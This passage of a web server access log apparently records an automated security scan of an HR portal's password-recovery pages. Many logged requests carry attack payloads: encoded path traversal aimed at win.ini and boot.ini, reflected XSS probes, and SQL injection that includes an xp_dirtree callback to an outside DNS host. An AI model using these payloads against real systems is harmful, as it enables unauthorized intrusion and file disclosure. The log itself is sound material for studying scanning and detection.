HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1" 200 6737 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3Bexec+master+..xp_dirtree+%27%5C%5Cv3-ping-230-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5Cdir%27-- HTTP/1.1" 200 6778 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3Bexec+master+..xp_dirtree+%27%5C%5Cv3-ping-230-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%5Cdir%27-- HTTP/1.1" 200 6778 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:44 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%5B%5B HTTP/1.1" 200 6677 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%5B%5B HTTP/1.1" 200 6677 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:45 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini%00.html HTTP/1.1" 200 6743 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/win.ini%00.html HTTP/1.1" 200 6743 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"%20onMouseOver=alert(231)// HTTP/1.1" 200 6706 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"%20onMouseOver=alert(231)// HTTP/1.1" 200 6706 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/boot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/boot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:46 +0800] "GET /ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe%23%26%3C%28%2C%2B%22%3E%3B HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe%23%26%3C%28%2C%2B%22%3E%3B HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:47 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22+onMouseOver%3Dalert%28232%29%2F%2F HTTP/1.1" 200 6706 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22+onMouseOver%3Dalert%28232%29%2F%2F HTTP/1.1" 200 6706 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini%00.html HTTP/1.1" 200 6745 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../windows/win.ini%00.html HTTP/1.1" 200 6745 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/winnt/win.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/winnt/win.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:48 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/redirect.php?scriptname=%28select+findpasswd%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/redirect.php?scriptname=%28select+findpasswd%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%28select+findpasswd%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe%23%26%3C%28%2C%2B%22%3E%3B" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWF%27SQL%22Probe%3BA--B%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWF%27SQL%22Probe%3BA--B%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"%20style=\"background:expression(alert(233)) HTTP/1.1" 200 6727 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"%20style=\"background:expression(alert(233)) HTTP/1.1" 200 6727 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini%00.html HTTP/1.1" 200 6745 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:49 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini%00.html HTTP/1.1" 200 6745 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WF%27SQL%22Probe%3BA--B&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=WF%27SQL%22Probe%3BA--B&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:52 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/windows/win.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/windows/win.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:50 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWF%27SQL%22Probe%3BA--B%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22+style%3D%22background%3Aexpression%28alert%28234%29%29 HTTP/1.1" 200 6727 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22+style%3D%22background%3Aexpression%28alert%28234%29%29 HTTP/1.1" 200 6727 100.64.0.1 - - [05/Dec/2025:21:52:51 +0800] "GET 